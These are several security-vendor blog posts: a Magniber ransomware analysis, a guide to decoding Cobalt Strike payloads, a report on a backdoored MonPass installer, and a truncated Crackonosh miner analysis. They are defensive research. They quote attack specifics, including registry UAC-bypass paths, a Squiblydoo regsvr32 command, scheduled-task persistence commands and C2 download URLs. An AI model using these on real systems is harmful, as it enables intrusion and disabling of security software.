To encrypt a file, Magniber first generates a random 128-bit AES key and IV using the PRNG discussed above. For some bizarre reason, it only chooses to generate bytes from the range 0x03 to 0xFC, effectively reducing the size of the keyspace from 256¹⁶ to 250¹⁶. Magniber then reads the input file by chunks of up to 0x100000 bytes, continuously encrypting each chunk in CBC mode and writing it back to the input file. Once the whole file is encrypted, Magniber also encrypts the AES key and IV using a public RSA key embedded in the sample and appends the result to the encrypted file. Finally, Magniber renames the file by appending a random-looking extension to its name.

However, there is a bug in the encryption process that puts some encrypted files into a nonrecoverable state, where it is impossible to decrypt them, even for the attackers who possess the corresponding private RSA key. This bug affects all files with a size that is a multiple of 0x100000 (1 MiB). To understand this bug, let’s first investigate in more detail how individual files get encrypted. Magniber splits the input file into chunks and treats the last chunk differently. When the last chunk is encrypted, Magniber sets the Final parameter of CryptEncrypt to TRUE, so CryptoAPI can add padding and finalize the encryption. Only after the last chunk gets encrypted does Magniber append the RSA-encrypted AES key to the file. 

The bug lies in how Magniber determines that it is currently encrypting the last chunk: it treats only chunks of size less than 0x100000 as the last chunks. But this does not work for files the size of which is a multiple of 0x100000, because even the last chunk of such files contains exactly 0x100000 bytes. When Magniber is encrypting such files, it never registers that it is encrypting the last chunk, which causes two problems. The first problem is that it never calls CryptEncrypt with Final=TRUE, so the encrypted files end up with invalid padding. The second, much bigger, problem is that Magniber also does not append the RSA-encrypted AES key, because the trigger for appending it is the encryption of the last chunk. This means that the AES key and IV used for the encryption of the file get lost and there is no way to decrypt the file without them.

Magniber drops its ransom note into every folder where it encrypted at least one file. An extra ransom note is also dropped into %PUBLIC% and opened up automatically in notepad.exe after encryption. The ransom note contains several URLs leading the victims to the payment page, which instructs them on how to pay the ransom in order to obtain the decryptor. These URLs are unique per victim, with the subdomain representing the victim identifier. Magniber also automatically opens up the payment page in the victim’s browser and while doing so, exfiltrates further information about the ransomware deployment through the URL, such as:

• The number of encrypted files
• The total size of all encrypted files
• The number of encrypted logical drives
• The number of files encountered (encrypted or not)
• The version of Windows
• The victim identifier
• The version of Magniber

Finally, Magniber attempts to delete shadow copies using a UAC bypass. It writes a command to delete them to HKCU\Software\Classes\mscfile\shell\open\command and then executes CompMgmtLauncher.exe assuming that this will run the command with elevated privileges. But since this particular UAC bypass method was fixed in Windows 10, Magniber also contains another bypass method, which it uses exclusively on Windows 10 machines. This other method works similarly, writing the command to HKCU\Software\Classes\ms-settings\shell\open\command, creating a key named DelegateExecute there, and finally running ComputerDefaults.exe. Interestingly, the command used is regsvr32.exe scrobj.dll /s /u /n /i:%PUBLIC%\readme.txt. This is a technique often referred to as Squiblydoo and it is used to run a script dropped into readme.txt, which is shown below.

Conclusion

In this blog post, we examined in detail the current state of the Magnitude exploit kit. We described how it exploits CVE-2021-26411 and CVE-2020-0986 to deploy ransomware to unfortunate victims who browse the Internet using vulnerable builds of Internet Explorer. We found Magnitude to be a mature exploit kit with a very robust infrastructure. It uses thousands of fresh domains each month and its infection chain is composed of seven stages (not even counting the multiple obfuscation layers). The infrastructure is also well protected, which makes it very challenging for malware analysts to track and research the exploit kit.

We also dug deep into the Magniber ransomware. We found a bug that results in some files being encrypted in such a way that even the attackers can not possibly decrypt them. This underscores the unfortunate fact that paying the ransom is never a guarantee to get the ransomed files back. This is one of the reasons why we urge ransomware victims to try to avoid paying the ransom. 

Even though the attackers behind Magnitude appear to have a good grasp on exploit development, obfuscation, and protection of malicious infrastructure, they seem to have no idea what they are doing when it comes to generating random numbers for cryptographic purposes. This resulted in previous versions of Magniber using flawed PRNGs, which allowed malware researchers to develop decryptors that helped victims recover their ransomed files. However, Magniber was always quick to improve their PRNG, which unfortunately made the decryptors obsolete. The current version of Magniber is using a PRNG that seems to be just secure enough, which makes us believe that there will be no more decryptors in the future.

Indicators of Compromise (IoC)

The full list of IoCs is available at https://github.com/avast/ioc/tree/master/Magnitude.

Redirection page

CVE-2021-26411

Shellcode

CVE-2020-0986

Pointer scanner/loader 64-bit module

Magniber

C&Cs

https://github.com/avast/ioc/blob/master/Magnitude/cncs.txt

Decoy ad domains

https://github.com/avast/ioc/blob/master/Magnitude/decoys.txt

The post Magnitude Exploit Kit: Still Alive and Kicking appeared first on Avast Threat Labs.

Intro

Cobalt Strike threat emulation software is the de facto standard closed-source/paid tool used by infosec teams in many governments, organizations and companies. It is also very popular in many cybercrime groups which usually abuse cracked or leaked versions of Cobalt Strike. 

Cobalt Strike has multiple unique features, secure communication and it is fully modular and customizable so proper detection and attribution can be problematic. It is the main reason why we have seen use of Cobalt Strike in almost every major cyber security incident or big breach for the past several years.

There are many great articles about reverse engineering Cobalt Strike software, especially beacon modules as the most important part of the whole chain. Other modules and payloads are very often overlooked, but these parts also contain valuable information for malware researchers and forensic analysts or investigators.

The first part of this series is dedicated to proper identification of all raw payload types and how to decode and parse them. We also share our useful parsers, scripts and yara rules based on these findings back to the community. 

Raw payloads

Cobalt Strike’s payloads are based on Meterpreter shellcodes and include many similarities like API hashing (x86 and x64 versions) or url query checksum8 algo used in http/https payloads, which makes identification harder. This particular checksum8 algorithm is also used in other frameworks like Empire.

Let’s describe interesting parts of each payload separately.

Payload header x86 variant

Default 32bit raw payload’s entry points start with typical instruction CLD (0xFC) followed by CALL instruction and PUSHA (0x60) as the first instruction from API hash algorithm.

Payload header x64 variant

Standard 64bit variants start also with CLD instruction followed by AND RSP,-10h and CALL instruction.

We can use these patterns for locating payloads’ entry points and count other fixed offsets from this position.

Default API hashes

Raw payloads have a predefined structure and binary format with particular placeholders for each customizable value such as DNS queries, HTTP headers or C2 IP address. Placeholder offsets are on fixed positions the same as hard coded API hash values. The hash algorithm is ROR13 and the final hash is calculated from the API function name and DLL name. The whole algorithm is nicely commented inside assembly code on the Metasploit repository.

We can use the following regex patterns for searching hardcoded API hashes:

We can use a known API hashes list for proper payload type identification and known fixed positions of API hashes for more accurate detection via Yara rules.

Complete Cobalt Strike API hash list:

Complete API hash list for Windows 10 system DLLs is available here.

Customer ID / Watermark

Based on information provided on official web pages, Customer ID is a 4-byte number associated with the Cobalt Strike licence key and since v3.9 is embedded into the payloads and beacon configs. This number is located at the end of the payload if it is present. Customer ID could be used for specific threat authors identification or attribution, but a lot of Customer IDs are from cracked or leaked versions, so please consider this while looking at these for possible attribution.

DNS stager x86

Typical payload size is 515 bytes or 519 bytes with included Customer ID value. The DNS query name string starts on offset 0x0140 (calculated from payload entry point) and the null byte and max string size is 63 bytes. If the DNS query name string is shorter, then is terminated with a null byte and the rest of the string space is filled with junk bytes.

DnsQuery_A API function is called with two default parameters:

Anything other than the default values are suspicious and could indicate custom payload.

Python parsing:

Default DNS payload API hashes:

Yara rule for DNS stagers:

SMB stager x86

The default payload size is 346 bytes plus the length of the pipe name string terminated by a null byte and the length of the Customer ID if present. The pipe name string is located right after the payload code on offset 0x015A in plaintext format.

CreateNamedPipeA API function is called with 3 default parameters:

Python parsing:

Default SMB payload API hashes:

Yara rule for SMB stagers:

TCP Bind stager x86

The payload size is 332 bytes plus the length of the Customer ID if present. Parameters for the bind API function are stored inside the SOCKADDR_IN structure hardcoded as two dword pushes. The first PUSH with the sin_addr value is located on offset 0x00C4. The second PUSH contains sin_port and sin_family values and is located on offset 0x00C9 The default sin_family value is AF_INET (0x02).

Python parsing:

Default TCP Bind x86 payload API hashes:

Yara rule for TCP Bind x86 stagers:

TCP Bind stager x64

The payload size is 510 bytes plus the length of the Customer ID if present. The SOCKADDR_IN structure is hard coded inside the MOV instruction as a qword and contains the whole structure. The offset for the MOV instruction is 0x00EC.

Python parsing:

Default TCP Bind x64 payload API hashes:

Yara rule for TCP Bind x64 stagers:

TCP Reverse stager x86

The payload size is 290 bytes plus the length of the Customer ID if present. This payload is very similar to TCP Bind x86 and SOCKADDR_IN structure is hardcoded on the same offset with the same double push instructions so we can reuse python parsing code from TCP Bind x86 payload.

Default TCP Reverse x86 payload API hashes:

Yara rule for TCP Reverse x86 stagers:

TCP Reverse stager x64

Default payload size is 465 bytes plus length of Customer ID if present. Payload has the same position as the SOCKADDR_IN structure such as TCP Bind x64 payload so we can reuse parsing code again.

Default TCP Reverse x64 payload API hashes:

Yara rule for TCP Reverse x64 stagers:

HTTP stagers x86 and x64

Default x86 payload size fits 780 bytes and the x64 version is 874 bytes long plus size of request address string and size of Customer ID if present. The payloads include full request information stored inside multiple placeholders.

Request address

The request address is a plaintext string terminated by null byte located right after the last payload instruction without any padding. The offset for the x86 version is 0x030C and 0x036A for the x64 payload version. Typical format is IPv4.

Request port

For the x86 version the request port value is hardcoded inside a PUSH instruction as a  dword. The offset for the PUSH instruction is 0x00BE. The port value for the x64 version is stored inside MOV r8d, dword instruction on offset 0x010D.

Request query

The placeholder for the request query has a max size of 80 bytes and the value is a plaintext string terminated by a null byte. If the request query string is shorter, then the rest of the string space is filled with junk bytes. The placeholder offset for the x86 version is 0x0143 and 0x0186 for the x64 version.

Cobalt Strike and other tools such as Metasploit use a trivial checksum8 algorithm for the request query to distinguish between x86 and x64 payload or beacon. 

According to leaked Java web server source code,  Cobalt Strike uses only two checksum values, 0x5C (92) for x86 payloads and 0x5D for x64 versions. There are also implementations of Strict stager variants where the request query string must be 5 characters long (including slash). The request query checksum feature isn’t mandatory.

Python implementation of checksum8 algorithm:

Metasploit server uses similar values:

You can find a complete list of Cobalt Strike’s x86 and x64 strict request queries here.

Request header

The size of the request header placeholder is 304 bytes and the value is also represented as a plaintext string terminated by a null byte. The request header placeholder is located immediately after the Request query placeholder. The offset for the x86 version is 0x0193 and 0x01D6 for the x64 version.

The typical request header value for HTTP/HTTPS stagers is User-Agent. The Cobalt Strike web server has banned user-agents which start with lynx, curl or wget and return a response code 404 if any of these strings are found.

API function HttpOpenRequestA is called with following dwFlags (0x84600200):

Python parsing:

Default HTTP x86 payload API hashes:

Default HTTP x64 payload API hashes:

Yara rules for HTTP x86 and x64 stagers:

HTTPS stagers x86 and x64

The payload structure and placeholders are almost the same as the HTTP stagers. The differences are only in payload sizes, placeholder offsets, usage of InternetSetOptionA API function (API hash 0x869e4675) and different dwFlags for calling the HttpOpenRequestA API function.

The default x86 payload size fits 817 bytes and the default for the x64 version is 909 bytes long plus size of request address string and size of the Customer ID if present.

Request address

The placeholder offset for the x86 version is 0x0331 and 0x038D for the x64 payload version. The typical format is IPv4.

Request port

The hardcoded request port format is the same as HTTP.  The PUSH offset for the x86 version is 0x00C3. The MOV instruction for x64 version is on offset 0x0110.

Request query

The placeholder for the request query has the same format and length as the HTTP version. The placeholder offset for the x86 version is 0x0168 and 0x01A9 for the x64 version.

Request header

The size and length of the request header placeholder is the same as the HTTP version. Offset for the x86 version is 0x01B8 and 0x01F9 for the x64 version.

API function HttpOpenRequestA is called with following dwFlags (0x84A03200):

InternetSetOptionA API function is called with following parameters:

Python parsing:

Default HTTPS x86 payload API hashes:

Default HTTPS x64 payload API hashes:

Yara rule for HTTPS x86 and x64 stagers:

The next stage or beacon could be easily downloaded via curl or wget tool:

You can find our parser for Raw Payloads and all according yara rules in our IoC repository.

Raw Payloads encoding

Cobalt Strike also includes a payload generator for exporting raw stagers and payload in multiple encoded formats. Encoded formats support UTF-8 and UTF-16le. 

Table of the most common encoding with usage and examples:

Decoding most of the formats are pretty straightforward, but there are few things to consider. 

• Values inside Decimal and Char Array are splitted via “new lines” represented by “\s_\n” (\x20\x5F\x0A). 
• Common compression algorithms used inside PowerShell scripts are GzipStream and raw DeflateStream.

Python decompress implementation:

XOR encoding

The XOR algorithm is used in three different cases. The first case is one byte XOR inside PS1 scripts, default value is 35 (0x23).

The second usage is XOR with dword key for encoding raw payloads or beacons inside PE stagers binaries. Specific header for xored data is 16 bytes long and includes start offset, xored data size, XOR key and four 0x61 junk/padding bytes.

Python header parsing:

We can create Yara rule based on XOR key from header and first dword of encoded data to verify supposed values there:

The third case is XOR encoding with a rolling dword key, used only for decoding downloaded beacons. The encoded data blob is located right after the XOR algorithm code without any padding. The encoded data starts with an initial XOR key (dword) and the data size (dword xored with init key).

There are x86 and x64 implementations of the XOR algorithm. Cobalt Strike resource includes xor.bin and xor64.bin files with precompiled XOR algorithm code. 

Default lengths of compiled x86 code are 52 and 56 bytes (depending on used registers) plus the length of the junk bytes. The x86 implementation allows using different register sets, so the xor.bin file includes more than 800 different precompiled code variants.

Yara rule for covering all x86 variants with XOR verification:

The precompiled x64 code is 63 bytes long with no junk bytes. There is also only one precompiled code variant.

Yara rule for x64 variant with XOR verification:

You can find our Raw Payload decoder and extractor for the most common encodings here. It uses a parser from the previous chapter and it could save your time and manual work. We also provide an IDAPython script for easy raw payload analysis.

Conclusion

As we see more and more abuse of Cobalt Strike by threat actors, understanding how to decode its use is important for malware analysis.

In this blog, we’ve focused on understanding how threat actors use Cobalt Strike payloads and how you can analyze them.

The next part of this series will be dedicated to Cobalt Strike beacons and parsing its configuration structure.

The post Decoding Cobalt Strike: Understanding Payloads appeared first on Avast Threat Labs.

Introduction

We discovered an installer downloaded from the official website of MonPass, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. We immediately notified MonPass on 22 April 2021 of our findings and encouraged them to address their compromised server and notify those who downloaded the backdoored client.

We have confirmed with MonPass that they have taken steps to address these issues and are now presenting our analysis.

Our analysis beginning in April 2021 indicates that a public web server hosted by MonPass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. We also found that the MonPass client available for download from 8 February 2021 until 3 March 2021 was backdoored. 

This research provides analysis of relevant backdoored installers and other samples that we found occurring in the wild. Also during our investigation we observed relevant research from NTT Ltd so some technical details or IoCs may overlap.

All the samples are highly similar and share the same pdb path:

C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb and the string: Bidenhappyhappyhappy.

Technical details

The malicious installer is an unsigned PE file. It starts by downloading the legitimate version of the installer from the MonPass official website. This legitimate version is dropped to the C:\Users\Public\ folder and executed under a new process. This guarantees that the installer behaves as expected, meaning that a regular user is unlikely to notice anything suspicious.

Additional similar installers were also found in the wild, with SHA256 hashes:  e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535 and f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9b064ff9e2e129525e8.

The attackers decided to use steganography to transfer shellcode to their victims. On execution, the malware downloads a bitmap image file from http://download.google-images[.]ml:8880/download/37.bmp as shown in figure 2. 

The download is performed slightly unusually in two HTTP requests. The first request uses the HEAD method to retrieve the Content-Length, followed by a second GET request to actually download the image. After the picture is downloaded, the malware extracts the encrypted payload as follows. The hidden data is expected to be up to 0x76C bytes. Starting with the 3rd byte in image data it copies each 4th byte. The resulting data represents an ASCII string of hexadecimal characters which is later decoded into their respective binary values. These bytes are then XOR decrypted using the hardcoded key miat_mg, resulting in a Cobalt-Strike beacon.

We have seen multiple versions of this backdoored installer, each with slightly modified decryptors. 

In version (f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9b064ff9e2e129525e8) the XOR decryption was stripped.

In the version (e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535) basic anti-analysis tricks were stripped. In Figure 3, you can see different time stamps and the same rich headers.

In the backdoored installer we also observed some basic anti-analysis techniques used in an attempt to avoid detection. In particular, we observed checks for the number of processors using the GetSystemInfo function, the amount of physical memory using the GlobalMemoryStatusEx function and the disk capacity using the IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL call. If any of the obtained values are suspiciously low, the malware terminates immediately.

One of the samples (9834945A07CF20A0BE1D70A8F7C2AA8A90E625FA86E744E539B5FE3676EF14A9) used a different known technique to execute shellcode. First it is decoded from a list of UUIDs with UuidFromStringA API, then it is executed using EnumSystemLanguageGroupsA.

After we found a backdoored installer in one of our customers,  we commenced hunting for additional samples in VT and in our user-base, to determine if there were more backdoored installers observed in the wild. In VT we found some interesting hits:

We analyzed the sample and found out that the sample was very similar to infected installers found in our customers. The sample contained anti-analysis techniques using the same XOR decryption and also contained similar C2 server addresses (hxxp://download.google-images.ml:8880/download/x37.bmp) as observed in previous backdoored installers. The sample also contained references to the link (hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0.oss-cn-hongkong.aliyuncs[.]com/Silverlight_ins.exe) and the file path C:\users\public\Silverlight_ins.exe; however these did not appear to be in use. The sample name is also unusual –  Browser_plugin (8).exe – we speculate that this may be a test sample uploaded by the actor. 

In VT we saw another hash (4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910) again with the name Browser_plugin.exe. According to VT this sample has been downloaded from hxxps://jquery-code.ml/Download/Browser_Plugin.exe. It was downloading a PDF from hxxp://37.61.205.212:8880/dow/Aili.pdf PDF file Aili.pdf.

Afterwards it has the similar functionalities as previously mentioned samples from VT. That means it was downloading and decrypting Cobalt strike beacon from hxxp://micsoftin.us:2086/dow/83.bmp

In our database we again found the similar sample but with the name Browser_plugin (1).exe. This sample was downloaded from hxxp://37.61.205.212:8880/download/Browers_plugin.exe, we saw it on Feb 4, 2021. It doesn’t install any legitimate software, it just shows a MessageBox. It contains C&C address (hxxp://download.google-images.ml:8880/downloa/37.bmp), (Note: there is a typo in the directory name: downloa). 

Compromised Web server content

On the breached web server, where you were able to download backdoored installer we found two executables DNS.exe (456b69628caa3edf828f4ba987223812cbe5bbf91e6bbf167e21bef25de7c9d2) and again Browser_plugin.exe (5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe). 

DNS.exe

It downloads from (hxxp://download.google-images.ml:8880/download/DNSs.bat) C&C server bat file, that is saved in C:\users\public\DNS.bat. It contains this script:

In the second part of the instance, it contains the similar functionality and the same address of C&C server as the backdoored installer that we mentioned earlier. 

Browser_plugin.exe

(5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe)

This sample is very similar to this one (4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910) with the same address of C&C server, but it doesn’t download any additional document. 

C&C server analysis

We checked the malicious web server hxxps://jquery-code.ml, from where (4A43FA8A3305C2A17F6A383FB68F02515F589BA112C6E95F570CE421CC690910) Browser_plugin.exe has been downloading. The malicious web server looks identical to the legitimate one https://code.jquery.com/ the difference is the certificate. The legitimate server https://code.jquery.com is signed by Sectigo Limited while the malicious server is signed by Cloudflare, Inc.

Conclusion

This blog post outlines our findings regarding the MonPass client backdoored with Cobalt Strike. 

In our research we found additional variants on VirusTotal in addition to those we found on the compromised MonPass web server. 

In our analysis of the compromised client and variants, we’ve shown that the malware was using steganography to decrypt Cobalt Strike beacon. 

At this time, we’re not able to make attribution of these attacks with an appropriate level of confidence. However it’s clear that the attackers clearly intended to spread malware to users in Mongolia by compromising a trustworthy source, which in this case is a CA in Mongolia.

Most importantly, anyone that has downloaded the MonPass client between 8 February 2021 until 3 March 2021 should take steps to look for and remove the client and the backdoor it installed. 

I would like to thank Jan Rubín for helping me with this research.

Timeline of communication:

• March 24. 2021 – Discovered backdoored installer
• April 8. 2021 – Initial contact with Monpass through MN CERT/CC providing findings.
• April 20. 2021 – MonPass shared a forensic image of an infected web server with Avast Threat Labs.
• April 22. 2021 – Avast provided information about the incident and findings from the forensics image in a call with MonPass and MN CERT/CC.
• May 3. 2021 – Avast followed up with MonPass in email. No response.
• May 10. 2021 – Avast sent additional follow up email.
• June 4, 2021 – MonPass replied asking for information already provided on April 22, 2021.
• June 14. 2021 – Follow up from Avast to MonPass, no response
• June 29, 2021 – Final email to MonPass indicating our plans to publish with a draft of the blog for feedback.
• June 29, 2021 – Information from MonPass indicating they’ve resolved the issues and notified affected customers.
• July 1, 2021 – Blog published.

Indicators of Compromise (IoC)

•  Repository: https://github.com/avast/ioc/tree/master/MpIncident
•  List of SHA-256: https://github.com/avast/ioc/blob/master/MpIncident/samples.sha256

Timeline of compilation timestamps:

The post Backdoored Client from Mongolian CA MonPass appeared first on Avast Threat Labs.

We recently became aware of customer reports advising that Avast antivirus was missing from their systems – like the following example from Reddit.

We looked into this report and others like it and have found a new malware we’re calling “Crackonosh” in part because of some possible indications that the malware author may be Czech. Crackonosh is distributed along with illegal, cracked copies of popular software and searches for and disables many popular antivirus programs as part of its anti-detection and anti-forensics tactics.

In this posting we analyze Crackonosh. We look first at how Crackonosh is installed. In our analysis we found that it drops three key files winrmsrv.exe, winscomrssrv.dll and winlogui.exe which we analyze below. We also include information on the steps it takes to disable Windows Defender and Windows Update as well as anti-detection and anti-forensics actions. We include information on how to remove Crackonosh. Finally, we include indicators of compromise for Crackonosh.

The main target of Crackonosh was the installation of the coinminer XMRig, from all the wallets we found, there was one where we were able to find statistics. The pool sites showed payments of 9000 XMR in total, that is with today prices over $2,000,000 USD.

Installation of Crackonosh

The diagram below depicts the entire Crackonosh installation process.

1. First, the victim runs the installer for the cracked software.
2. The installer runs maintenance.vbs
3. Maintenance.vbs then starts the installation using serviceinstaller.msi
4. Serviceinstaller.msi registers and runs serviceinstaller.exe, the main malware executable.
5. Serviceintaller.exe drops StartupCheckLibrary.DLL.
6. StartupCheckLibrary.DLL downloads and runs wksprtcli.dll.
7. Wksprtcli.dll extracts newer winlogui.exe and drops winscomrssrv.dll and winrmsrv.exe which it contains, decrypts and places in the folder.

From the original compilation date of Crackonosh we identified 30 different versions of serviceinstaller.exe, the main malware executable, from 31.1.2018 up to 23.11.2020. It is easy to find out that serviceinstaller.exe is started from a registry key created by Maintenance.vbs. 

The only clue to what happened before the Maintenance.vbs creates this registry key and how the files appear on the computer of the victim is the removal of InstallWinSAT task in maintenance.vbs. Hunting led us to uncover uninstallation logs containing Crackonosh unpacking details when installed with cracked software.

The following strings were found in uninstallation logs:

• {sys}\7z.exe
• -ir!*.*? e -pflk45DFTBplsd -y "{app}\base_cfg3.scs" -o{sys}
• -ir!*.*? e -pflk45DFTBplsd -y "{app}\base_cfg4.scs" -o{localappdata}\Programs\Common
• /Create /SC ONLOGON /TN "Microsoft\Windows\Maintenance\InstallWinSAT" /TR Maintenance.vbs /RL HIGHEST /F
• /Create /SC ONLOGON /TN "Microsoft\Windows\Application Experience\StartupCheckLibrary" /TR StartupCheck.vbs /RL HIGHEST /F

This shows us that Crackonosh was packed in a password protected archive and unpacked in the process of installation. Here are infected installers we found:

The installer Inno Setup executes the following script. If it finds it’s “safe” to run malware, then installs the Crackonosh malware to %SystemRoot%\system32\ and one configuration file to %localappdata%\Programs\Common and creates in the Windows Task scheduler the tasks InstallWinSAT to start maintenance.vbs and StartupCheckLibrary to start StartupcheckLibrary.vbs. Otherwise it does nothing at all.

Reconstructed Crackonosh Inno Setup installer script

Analysis of Maintenance.vbs

As noted before, the Crackonosh installer registerers the maintenance.vbs script with the Windows Task Manager and sets it to run on system startup. The Maintenance.vbs creates a counter, that counts system startups until it reaches the 7th or 10th system start, depending on the version. After that the Maintenance.vbs runs serviceinstaller.msi, disables hibernation mode on the infected system and sets the system to boot to safe mode on the next restart. To cover its tracks it also deletes serviceinstaller.msi and maintenance.vbs.

Below is the maintenance.vbs script:

Serviceinstaller.msi does not manipulate any files on the system, it only modifies the registry to register serviceinstaller.exe, the main malware executable, as a service and allows it to run in safe mode. Below you can see the registry entries serviceinstaller.msi makes.

Using Safe Mode to Disable Windows Defender and Antivirus

While the Windows system is in safe mode antivirus software doesn’t work. This can enable the malicious Serviceinstaller.exe to easily disable and delete Windows Defender. It also uses WQL to query all antivirus software installed SELECT * FROM AntiVirusProduct. If it finds any of the following antivirus products it deletes them with rd <AV directory> /s /q command where <AV directory> is the default directory name the specific antivirus product uses. 

• Adaware
• Bitdefender
• Escan
• F-secure
• Kaspersky
• Mcafee (scanner only)
• Norton
• Panda

It has names of folders, where they are installed and finally it deletes %PUBLIC%\Desktop\.

Older versions of serviceinstaller.exe used pathToSignedProductExe to obtain the containing folder. This folder was then deleted. This way Crackonosh could delete older versions of Avast or current versions with Self-Defense turned off.

It also drops StartupCheckLibrary.dll and winlogui.exe to %SystemRoot%\system32\ folder.

In older versions of serviceinstaller.exe it drops windfn.exe which is responsible for dropping and executing winlogui.exe. Winlogui.exe contains coinminer XMRig and in newer versions the serviceinstaller drops winlogui and creates the following registry entry:

This connects the infected PC to the mining pool on every start.

Disabling Windows Defender and Windows Update

It deletes following registry entries to stop Windows Defender and turn off automatic updates.

In the place of Windows Defender it installs its own MSASCuiL.exe which puts the icon of Windows Security to the system tray. 

Searching for Configuration Files 

Looking at winrmsrv.exe (aaf2770f78a3d3ec237ca14e0cb20f4a05273ead04169342ddb989431c537e83) behavior showed something interesting in its API calls. There were over a thousand calls of FindFirstFileExW and FindNextFileExW. We looked at what file it was looking for, unfortunately the author of malware hid the name of the file behind an SHA256 hash as shown below.

This technique was used in other parts of Crackonosh, sometimes with SHA1. 

Here is a list of searched hashes and corresponding names and paths. In the case of UserAccountControlSettingsDevice.dat the search is also done recursively in all subfolders. 

• in CSIDL_SYSTEM
  • File 7B296FC0-376B-497d-B013-58F4D9633A22-5P-1.B5841A4C-A289-439d-8115-50AB69CD450
    • SHA1: F3764EC8078B4524428A8FC8119946F8E8D99A27
    • SHA256: 86CC68FBF440D4C61EEC18B08E817BB2C0C52B307E673AE3FFB91ED6E129B273
  • File 7B296FC0-376B-497d-B013-58F4D9633A22-5P-1.B5841A4C-A289-439d-8115-50AB69CD450B
    • SHA1: 1063489F4BDD043F72F1BED6FA03086AD1D1DE20
    • SHA256: 1A57A37EB4CD23813A25C131F3C6872ED175ABB6F1525F2FE15CFF4C077D5DF7
• Searched in CSIDL_Profile and actual location is %localappdata%\Programs\Common
  • File UserAccountControlSettingsDevice.dat
    • SHA1: B53B0887B5FD97E3247D7D88D4369BFC449585C5
    • SHA256: 7BB5328FB53B5CD59046580C3756F736688CD298FE8846169F3C75F3526D3DA5

These files contain configuration information encrypted with xor cipher with the keys in executables. 

After decryption we found names of other parts of malware, some URLs, RSA public keys, communication keys for winrmsrv.exe and commands for XMRig. RSA keys are 8192 and 8912 bits long. These keys are used to verify every file downloaded by Crackonosh (via StartupCheckLibrary.dll, winrmsrv.exe, winscomrssrv.dll).

Here we found the first remark of wksprtcli.dll.

StartupCheckLibrary.dll and Download of wksprtcli.dll

StartupCheckLibrary.dll is the way how the author of Crackonosh can download updates of Crackonosh on infected machines. Startupchecklibrary.dll queries TXT DNS records for domains first[.]universalwebsolutions[.]info and second[.]universalwebsolutions[.]info (or other TLDs like getnewupdatesdownload[.]net and webpublicservices[.]org). There are TXT DNS records like [email protected]@@FEpHw7Hn33. From the first twelve letters it computes the IP address as shown on image. Next five characters are the digits of the port encrypted by adding 16. This gives us a socket, where to download wksprtcli.dll. The last eight characters are the version. Downloaded data is validated against one of the Public keys stored in the config file.

Wksprtcli.dll (exports DllGetClassObjectMain) is updating older versions of Crackonosh. The oldest version of wksprtcli.dll that we found checks only the nonexistence of winlogui.exe. Then it deletes diskdriver.exe (previous coinminer) and autostart registry entry. The newest version has a time frame when it runs. It deletes older versions of winlogui.exe or diskdriver.exe and drops new version of winlogui.exe. It drops new config files and installs winrmsrv.exe and winscomrssrv.dll. It also changed the way of starting winlogui.exe from registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to a task scheduled on user login.

In the end it disallows hibernation and Windows Defender. 

Wksprtcli.dll also checks computer time. The reason may be not to overwrite newer versions and to make dynamic analysis harder. It also has written date after which it to stop winlogui task to be able to replace files.

Analysis of Winrmsrv.exe

Winrmsrv.exe is responsible for P2P connection of infected machines. It exchanges version info and it is able to download newer versions of Crackonosh. We didn’t find any evidence of versions higher than 0 and therefore we don’t know what files are transferred.

Winrmsrv.exe searches for internet connection. If it succeeds it derives three different ports in the following ways.

First, in the config file, there is offset (49863) and range (33575) defined. For every port there is computed SHA-256 from date (days from Unix Epoch time) and 10 B from config file. Every port is then set as offset plus the first word of SHA moduled by range (offset + (2 B of SHA % range)).

First two ports are used for incoming TCP connections. The last one is used to listen to an incoming UDP. 

Next, winrmsrv.exe starts sending UDP packets containing version and timestamp to random IP addresses to the third port (approximately 10 IP’s per second). Packet is prolonged with random bytes (to random length) and encrypted with a Vigenère cipher. 

Finally, if winrmsrv.exe finds an IP address infected with Crackonosh, it stores the IP, control version and starts updating the older one with the newer one. The update data is signed with the private key. On the next start winrmsrv.exe connects all stored IP’s to check the version before trying new ones. It blocks all IP addresses after the communication. It blocks them for 4 hours unless they didn’t follow the protocol, then the block is permanent (until restart).

We have modified masscan to check this protocol. It showed about 370 infected IP addresses over the internet (IPv4).

It’s notable that here is a mistake in TCP encryption/decryption implementation shown above. Instead of the red arrow there is computed one more SHA256, that should be used in the xor with the initialization vector. But then there is the source of the SHA used instead of the result.

Analysis of winscomrssrv.dll

It is preparation for the next phase. It uses the TXT DNS records the same way as StratupCheckLibrary.dll. It tries to decode txt records on URL’s:

• fgh[.]roboticseldomfutures[.]info
• anter[.]roboticseldomfutures[.]info
• any[.]tshirtcheapbusiness[.]net
• lef[.]loadtubevideos[.]com
• levi[.]loadtubevideos[.]com
• gof[.]planetgoodimages[.]info
• dus[.]bridgetowncityphotos[.]org
• ofl[.]bridgetowncityphotos[.]org
• duo[.]motortestingpublic[.]com
• asw[.]animegogofilms[.]info
• wc[.]animegogofilms[.]info
• enu[.]andromediacenter[.]net
• dnn[.]duckduckanimesdownload[.]net
• vfog[.]duckduckanimesdownload[.]net
• sto[.]genomdevelsites[.]org
• sc[.]stocktradingservices[.]org
• ali[.]stocktradingservices[.]org
• fgo[.]darestopedunno[.]com
• dvd[.]computerpartservices[.]info
• efco[.]computerpartservices[.]info
• plo[.]antropoledia[.]info
• lp[.]junglewearshirts[.]net
• um[.]junglewearshirts[.]net
• fri[.]rainbowobservehome[.]net
• internal[.]videoservicesxvid[.]com
• daci[.]videoservicesxvid[.]com
• dow[.]moonexploringfromhome[.]info
• net[.]todayaniversarygifts[.]info
• sego[.]todayaniversarygifts[.]info
